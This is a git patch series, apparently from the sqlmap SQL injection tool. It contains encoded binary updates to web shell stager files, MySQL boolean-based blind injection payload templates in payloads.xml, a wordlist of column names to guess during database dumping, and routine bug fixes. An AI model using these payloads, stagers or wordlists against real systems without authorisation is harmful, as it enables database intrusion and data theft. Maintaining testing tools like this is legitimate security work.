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 diff --git a/shell/stager.aspx_ b/shell/stager.aspx_ index d160e68fbd8034fe93874cdaa9dffd46bd855613..54d5650395828aa0d20339ed5c2ca78199902492 100644 GIT binary patch literal 527 zcmV+q0`UC@oP{eQ5ZX^`0?)6w^@N(JB+wz-dyQ#TUeRj7w!U97F%5pNiS5~OeO~_i z>^nb_37cU2Zr=><@%0X(-j`+~Tr*Z6mkDi?hj64w@VqytiZ*-(416oesfo#b)oE&G z2Orxhuyel4Bhc)T<>-s#Xr_5-$V@9>$0Xz#sMcl1K57A|1=rYh{FOR{OrdfqAGnHv zmj+>+gHhqG7Nch%gFFr;U&PQ}cOv)I5rvCQsiV6_QC=*n&BUtQLazg|Ba(j+;0%8V zAylW6CMm~cPHO(31}4c{Q1i*R;r$Ez3`?1lpn49ip|Oj;f$Qb++Ht3tyJ=+%jsK#n zt6)JcMxz5|71DC}<06XEPr-f&!2t9Mvf)t!J*}-)|C*?tV!fy!+t_Bh$0`1mOaw>K?y&bu z0&={A7~Ns5gjIkVP6jK5L^KlTZfSymRKdGsdYX-}XBNqKUog!f+Q_2Ja+52Wz8w9O zER5wUE(xCwCS|B*B6q3e)w3loLI5k71@E9>09fCIzyJRgKYe1H&fUU>sj2C6 zfsusB7U~v=Wg8xOniipxK2;V;iKRlKIHUzie}DC5e|$XB7kQag1)ikMdrR6dKR61CioZWr5XY{E>!JDPKcj&*N- ze>-xV0RcRxvm#(g(zESL(dmQ_(7EYLLx_N=O>As0L?_+#4AL!Rq~8dR3MvcliiKP* zhNC6HnTzVU7H1lovI_-T2=)B`lYyRIXMxR3fTDw6J6<59h1~`pi4;=EKkHI_=7CEk z6_#U0df0D*?5!R#?4;av_gcB!LyZ7h;Vk9}@y0Wb^0IlukiAL5>#B`pNC@>YVHnBe zJ>@g=Xg9`Oj0{-;-Yj`>up|}`qxdAikAOd4Ns1?c`-glghwpT_$ZVRO6wM(oADJ+E zv`~<1V=aB#)ON#WT1~cxa$iy9dy{;BBWE>b5x~T!OY=}&t)|bFe zVAA=R@lCF6t8Nc1o1To<^y|+igjzQ6l#^c$9J5N+mG3%&tdtIr7akOi q*)fW0C9tDs72GOk-*AM55n6d)C!^0E@a{uF#oUoGYg>MmelkCSjv;se diff --git a/shell/stager.jsp_ b/shell/stager.jsp_ index 730a13751a769e89948ff5351308e40a0f0a1718..0aa0886015c47950180b6695ec3628cba10cb619 100644 GIT binary patch literal 1320 zcmV+@1=soqoRult5!*R$0_P}P-K3fRq4d(143G}H|-qdQFvR8u(PWFpUPy?uvydU^(t(b6jkE#{y z0E%IvuxVCs06JzVij*orb6MW#)d)Y5kP(W!Yb8z1!{Z^Nqu#e3#macjI|uB;tBHrY zI3X^_Lo(nYloqyvYHZWI&S@^WbgqO~?v=t~`y;b8KdGL*d3UhYjydt4OSjH)m(Q0K_8gPCFkcQzfwSmlwmTpsPz^ z*H##TlycWD3X_-YlCyHldx{H{ILGTHB|ocyCFoVnj1q+@Ook$*hltngZ`j~Z05 zIl9|%z6b3{^&m|ymzlLe^u7oCX82rTRbsP2TBv6&v)~rSOD~FM-5t!$mc>rAU5aTa z#HAUDAx-ohsnL{-YFc>}lb&Ub(G;5z(+mlU{GccQGusK2%oHcGf;e_`Me_!y*JcZI zbBWqDwNG&TmT&!^z}fRrWh*TyRO`r$Yhr@xd10{$2>bS@tNYoXmlx=p*QfYo%JrLz zK=kU_>2G;_1Hf`5I#1np=Iz(D+ch)akj)+F1~&>^sU?6mJ;#Eqrj;x*Nu7~-Kh%sU z6EMr~_x)^0!66Tp*IiR@xOe=~B@_4?w9LzL$h4UIeO}K3*iW&}X!s)J@|zlVl~+*{ z6;aY%RmFhR`inO^3;<1vSk)N5iFL_O)OydU4LE~mx5~*^&59*}Nj|xbNwvqN`~_VN zAjg}OW6K4@g}2fjqZ)fzT#0;OO=-Uh+{DBRjyR;-GnM`_sgkicpyeN*6Vs0?9{EE5 z)TdpiBR7Wnz~7arz>bQeKA83&FO~XQlrwr-}YyiQZq) z$5ic~oNp`FvPNESF%nm>(*?Pt8MV$K%2}l2%kX%#D-}Q5URX0%mLd7IFwAA(Dc`N6de*i{QuGJIs;!N z=X@n#;4W`_G`3cQm1z(Z;afyWHfPH+@H@FIsAEcuiT>z(t1Id=e za0V^NORq()Mt5{3zaLj2EVrCc1IxL89(!s8fa99Tu)4jU$-q z>x=DeJWvsoQa3_SHv)aY+jasi%1|k#d eY+&}o3`{c46->@(5P%IN1U)XiKK*nc;xPJ@u#(UK literal 1469 zcmV;u1w#5gB^O3cJ| z($OAUnmLVZGJC+J_AC6TLNFDdm2-_vNuWtA6$MMu20o^yJH<{pfO&v&d|z^Ze{z3& zgorn%vMlvjsQp-`r2SUv2d0OV1)hXwk1Sr0^oB}tOB=|-PJhA|Pj;ZtO&igZUW9pV zR!f=%nj6zREB#jFnjh5A&~t_}jdFi{JTZ1&2op}%Gh}h*#?x#Z95WKOH=`Ub#|f#^ z4JWwoDL^(-Y=V-~s18Mj35gQtJ_b|BONhk4G~o}kUv^1>SAdqvX#Cq?NjF?pt|$PG zo9mxxj@i`4?9|#;n5pL5K6y~y? zb~6P;Ln>olmCX8~$7y{v0{U~NQhHcw7@46wg3v*pQa)u7f3t~S-BMUKR)8vm(o=vg zJC!NH=)-og(T2=>DaKyYJBv0Cx);&>3BA=v8WLp?)ZTIeySthD?+QtA%v{Kgx5^75 z%`^r18j9^BL|&_kyHhs}cy0rH7-rahgq0!S`7wqATxUaRCwDz*cOMycq(^;YVm2mC zGcGFp$Hr-53gAm)rA^Ki)%HaS_Y&O*=1yy zE{QeH$u){0J$slFE5PB?f`?U1A|J8Tlx|tEwk^C%l(-CiyFq(yKQHHFN<^ zn#pG_Xu%pKUlX00L|JzClrqW1!tXRHdU6o8XoMo8@*XGi0|Ry(tc&3LH8%D;%4~Q8_3)T)f zcq>MJJNkp!$LHj|NcgO4+L4$WOcqGN2a@n+aZw-ra(sosBd#|^zg4j^>F)}KFCx9; z3UHUJ16kmBc&mKC$RxAnc*wysl3H)p_xbH#T>00YfW1c=oZ9c z2Xv3l^_g}d)k}@3ulLiLBMmc(5B+(dkF%#uQ{^Q$+YhA?kP~EcPfsg?@l*NhcBoE= zXWL|HEu&SFN$plw^#akf;T+`o`O3lE6i1Te<0wsM#nv&eDeW+WJ+LQrtDn%;ktx_-cV46vrgteTSD-4AeU~<6(^?fl9@0%*FPLG$Kf#f<8!`I2b4Pl)~sbb0zpE zP+K?~*^kfNAw=;?d&qAl%}lD}RFjD%s>DKHp?!UT%2`(ub21fDAM#5kORiTEP0kDu z*JhS>I}u%ex5B5DIZY%r{5i8#QlLY^n%I33PPS$jc8)dBE4)T>13HCUm4G`U(`Sv0 zN?vD+FACv_H_%Qc4SLGtHED($XC+H{+mbHvcb%t;ag_3WJ+wC)azrH>wp_i`vJ#`^ XA0x2t^hZQ@|Ha&qF>70C!2~?OUHP~z diff --git a/shell/stager.php_ b/shell/stager.php_ index 763e892d115b763b595e74fd77f40e922a11c38c..64f8eacabdfe758595297d199003ff5c069690f2 100644 GIT binary patch literal 377 zcmV-<0fznuoSl*)6v9tuh41}pUU#Tzi)1|318~*|} zt2}1A*ag!|SkFdSP_;QaCA7$C7o=0M(AtsjK|#4bxPmH?v1h@xu3*}T5BrBpT4Sy< z#Wjy&=2{-PrX-yd93S*VlG>7U+wBHt1(Ek}gwYeR3xjGa+Yh~h1~cW`V=T7AE*yz2 zq$}+RH_%-bz^)Y`z)7u5 zK8l!&p0c<-v4~=eazMs6-2#bQnn{){dDINsSKthhS4$Ak8#(LPE zD&;8uE9d5)_Zk1%zZm}&PkxFe*@7-z5-iFA zl=5&b1zbL+KOJGCcKTOxepaHU6&`HSOgGV^KYxFDfJ=5ZS(*h|hB<&6e}8{}d51yE za)dC4xeURsx8+c89afqrIw(0y9V`y!woB|SDs+Qu8aFEwZl-2s+t)Ny407?$Qreqo z-NF;Eg|d0(DOzh%NR*QNCs?Pczq~rtorPj$1$sfNUoDxa4pN&>@;{AEfr>5p-;FqjGm3`_FPYDexD_h%e^AELA4k$`XyH_6F{6I* zqbupCC{vD?bXY|s%4W-`I4NGAiAj6{dAs}cs&>L~wis!LxL-Rr=Ab8DiBzOBek1~9 zgT**fkdbnOP<$QTKLI>kI!hHcSrmLCZ{<0Hdf*}`#i2$ob!AipSSS5jj<@~^rUe*` m^d&55iE7N)uE}*1g4cW2a4PJK7hMD4{!!$L520Q=__r~S3D2|u From 9ceb518a50a470ed37896404ee08f84d7a3a9ca3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Oct 2013 22:03:53 +0200 Subject: [PATCH 084/889] Minor patch --- lib/core/agent.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/agent.py b/lib/core/agent.py index 0a4a52791..926950caf 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -123,6 +123,7 @@ class Agent(object): value = "" else: value = "-%s" % randomInt() + value = "%s " % value if value and not value.startswith(' ') else value elif where == PAYLOAD.WHERE.REPLACE: value = "" else: From a944028114d442c149e6247ca9a891988ffc8ff0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Oct 2013 22:14:50 +0200 Subject: [PATCH 085/889] Revert of last commit --- lib/core/agent.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 926950caf..0a4a52791 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -123,7 +123,6 @@ class Agent(object): value = "" else: value = "-%s" % randomInt() - value = "%s " % value if value and not value.startswith(' ') else value elif where == PAYLOAD.WHERE.REPLACE: value = "" else: From 18d9e1dbc359ae95798f8a920ca3f22e4a18a114 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 4 Oct 2013 10:53:49 +0200 Subject: [PATCH 086/889] Minor update due to reported (debug) problems with SSLv23 --- lib/request/httpshandler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 4b18c5f62..8b3aa073a 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -19,7 +19,7 @@ try: except ImportError: pass -_protocols = [ssl.PROTOCOL_SSLv23, ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLSv1] +_protocols = [ssl.PROTOCOL_SSLv3, ssl.PROTOCOL_TLSv1, ssl.PROTOCOL_SSLv23] class HTTPSConnection(httplib.HTTPSConnection): """ From 3f71c77601d9d1c2449ec6f17feeb436fc8f43fa Mon Sep 17 00:00:00 2001 From: Zaki Akhmad Date: Mon, 7 Oct 2013 10:26:16 +0700 Subject: [PATCH 087/889] adding more words at site:id common-columns --- txt/common-columns.txt | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/txt/common-columns.txt b/txt/common-columns.txt index f545f1e9b..7131f1437 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -2547,12 +2547,52 @@ disablepostctrl fieldname # site:id +ajar +akses +aktif akun +alamat +batas +cabang +deskripsi +foto +harga +hp +jeda +jenis +jml +judul +kata_kunci kata_sandi +katakunci katasandi +kategori +kelas +keterangan +kode +kunci +lahir +nama nama_akun nama_pengguna namaakun namapengguna +pekerjaan +pendidikan pengguna +penjelasan +perusahaan +ponsel +ruang sandi +soal +surat_elektronik +surel +tanggal +tanggal_lahir +tempat +tempat_lahir +tmp_lahir +universitas +urut +waktu From 7e35eb08d2e70e3c9e081283564d4c486c113c5a Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 7 Oct 2013 11:39:23 +0100 Subject: [PATCH 088/889] minor update --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 19f3582fd..f7741a737 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -35,4 +35,4 @@ In order to maintain consistency and readability throughout the code, we ask tha ### Licensing -By submitting code contributions to the sqlmap developers, to the mailing lists, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap project the unlimited, non-exclusive right to reuse, modify, and relicense the code. sqlmap will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. +By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. From 369006ca73cd7822778c3ede3b935b53c5f2952c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 7 Oct 2013 12:54:19 +0200 Subject: [PATCH 089/889] Bug fix --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index ab8894e10..4b7b0c838 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -208,7 +208,7 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]): + if conf.dbms is not None and not intersect(conf.dbms.lower(), [_.lower() for _ in arrayizeValue(dbms)]): debugMsg = "skipping test '%s' because " % title debugMsg += "the provided DBMS is %s" % conf.dbms logger.debug(debugMsg) From dd87233fe4c52c3c996e05645aacfffff6a21b76 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Oct 2013 15:04:48 +0200 Subject: [PATCH 090/889] Minor patch (to accept * inside urls in request files too) --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 266150eb4..c9cc3e516 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -280,7 +280,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): method = match.group(1) url = match.group(2) - if "?" in line and "=" in line: + if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)): params = True getPostReq = True From 2dc570d7a8f2e161f4757570a93740cb37b1b447 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Oct 2013 23:08:20 +0200 Subject: [PATCH 091/889] Minor patch (for ORDER BY 'col' cases) --- lib/controller/checks.py | 3 +++ xml/payloads.xml | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4b7b0c838..3fb0f5873 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -489,6 +489,9 @@ def checkSqlInjection(place, parameter, value): kb.previousMethod = method + if conf.dummy: + injectable = False + # If the injection test was successful feed the injection # object with the test's details if injectable is True: diff --git a/xml/payloads.xml b/xml/payloads.xml index c8e304d62..476c983b0 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -250,7 +250,7 @@ Formats: 3 - 1 + 1,2,3 1,2 2 ' From dbaa35f9fec33ee6d65e2798230d77ec721c7052 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 10 Oct 2013 23:53:43 +0200 Subject: [PATCH 092/889] Minor fix --- xml/payloads.xml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 476c983b0..b2c1aa645 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -721,7 +721,7 @@ Formats: 1 3 1 - 1 + 1,2,3 1 RLIKE IF([INFERENCE],[ORIGVALUE],0x28) @@ -736,7 +736,6 @@ Formats: - Generic boolean-based blind - Parameter replace (original value) From 6305c1e70373d797320329d5fd29d02bfca0eb89 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Oct 2013 00:39:11 +0200 Subject: [PATCH 093/889] Making a comma-less RLIKE payload --- xml/payloads.xml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index b2c1aa645..dbd1ee504 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -719,16 +719,16 @@ Formats: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) 1 - 3 + 5 1 1,2,3 1 - RLIKE IF([INFERENCE],[ORIGVALUE],0x28) + RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END)) - RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28) + RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0x28 END)) - RLIKE IF([RANDNUM]=[RANDNUM1],[ORIGVALUE],0x28) + RLIKE (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0x28 END))

MySQL From 4c39235c2f94076e9b95710b535d491aecad2076 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Oct 2013 00:39:44 +0200 Subject: [PATCH 094/889] Minor revert (5->3) --- xml/payloads.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index dbd1ee504..7e81bb17e 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -719,7 +719,7 @@ Formats: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) 1 - 5 + 3 1 1,2,3 1 From 54a6c010053e0c6446e2063db9fb3690828f998f Mon Sep 17 00:00:00 2001 From: Ben Buchacher Date: Thu, 10 Oct 2013 16:06:29 -0700 Subject: [PATCH 095/889] Fix - Custom objects cannot be serialized in JSON Custom objects cannot be serialized in JSON, convert tasks into list before serializing. --- lib/utils/api.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index d9b049080..d62f62a24 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -340,7 +340,8 @@ def task_list(taskid): """ if is_admin(taskid): logger.debug("Listed task pull") - return jsonize({"tasks": tasks, "tasks_num": len(tasks)}) + task_list = list(tasks) + return jsonize({"tasks": task_list, "tasks_num": len(tasks)}) else: abort(401) From 98d27ef20004cd9530961f11ea14a44fcd38e54c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Oct 2013 21:16:48 +0200 Subject: [PATCH 096/889] Bug fix (missing permissions when creating dump directory) --- lib/core/target.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 377d656cf..230c32aa7 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -462,7 +462,16 @@ def _createDumpDir(): conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname if not os.path.isdir(conf.dumpPath): - os.makedirs(conf.dumpPath, 0755) + try: + os.makedirs(conf.dumpPath, 0755) + except OSError, ex: + tempDir = tempfile.mkdtemp(prefix="sqlmapdump") + warnMsg = "unable to create dump directory " + warnMsg += "'%s' (%s). " % (conf.dumpPath, ex) + warnMsg += "Using temporary directory '%s' instead" % tempDir + logger.warn(warnMsg) + + conf.dumpPath = tempDir def _configureDumper(): if hasattr(conf, 'xmlFile') and conf.xmlFile: @@ -484,7 +493,7 @@ def _createTargetDirs(): tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") warnMsg = "unable to create default root output directory " warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, ex) - warnMsg += "using temporary directory '%s' instead" % tempDir + warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) paths.SQLMAP_OUTPUT_PATH = tempDir @@ -498,7 +507,7 @@ def _createTargetDirs(): tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, ex) - warnMsg += "using temporary directory '%s' instead" % tempDir + warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) conf.outputPath = tempDir From b8d49c2ea201b6aef2305827d33dd4a537c69fff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Oct 2013 20:41:25 +0200 Subject: [PATCH 097/889] Minor usability patch --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 230c32aa7..e33c2cb51 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -165,7 +165,7 @@ def _setRequestParams(): kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks - if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint: + if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or ""): warnMsg = "you've provided target URL without any GET " warnMsg += "parameters (e.g. www.site.com/article.php?id=1) " warnMsg += "and without providing any POST parameters " From 